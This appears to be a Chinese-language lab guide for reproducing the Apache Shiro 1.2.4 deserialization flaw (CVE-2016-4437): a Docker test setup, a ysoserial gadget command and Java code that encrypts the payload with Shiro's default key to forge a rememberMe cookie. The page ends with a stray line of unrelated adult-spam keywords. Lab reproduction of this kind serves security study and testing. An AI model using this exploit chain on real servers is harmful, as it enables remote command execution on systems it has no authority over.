<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

    Path shiro/CVE-2016-4437

    Apache Shiro是一款開源安全框架,提供身份驗證、授權、密碼學和會話管理。Shiro框架直觀、易用,同時也能提供健壯的安全性。

    Apache Shiro 1.2.4及以前版本中,加密的用戶信息序列化后存儲在名為remember-me的Cookie中。攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發Java反序列化漏洞,進而在目標機器上執行任意命令。

    漏洞環境

    執行如下命令啟動一個使用了Apache Shiro 1.2.4的Web服務:

    docker-compose up -d

    服務啟動后,訪問http://your-ip:8080可使用admin:vulhub進行登錄。

    漏洞復現

    使用ysoserial生成CommonsBeanutils1的Gadget:

    java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser

    使用Shiro內置的默認密鑰對Payload進行加密:

    package org.vulhub.shirodemo;
    
    import org.apache.shiro.crypto.AesCipherService;
    import org.apache.shiro.codec.CodecSupport;
    import org.apache.shiro.util.ByteSource;
    import org.apache.shiro.codec.Base64;
    import org.apache.shiro.io.DefaultSerializer;
    
    import java.nio.file.FileSystems;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    
    public class TestRemember {
        public static void main(String[] args) throws Exception {
            byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));
    
            AesCipherService aes = new AesCipherService();
            byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
    
            ByteSource ciphertext = aes.encrypt(payloads, key);
            System.out.printf(ciphertext.toString());
        }
    }
    

    發送rememberMe Cookie,即可成功執行touch /tmp/success

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类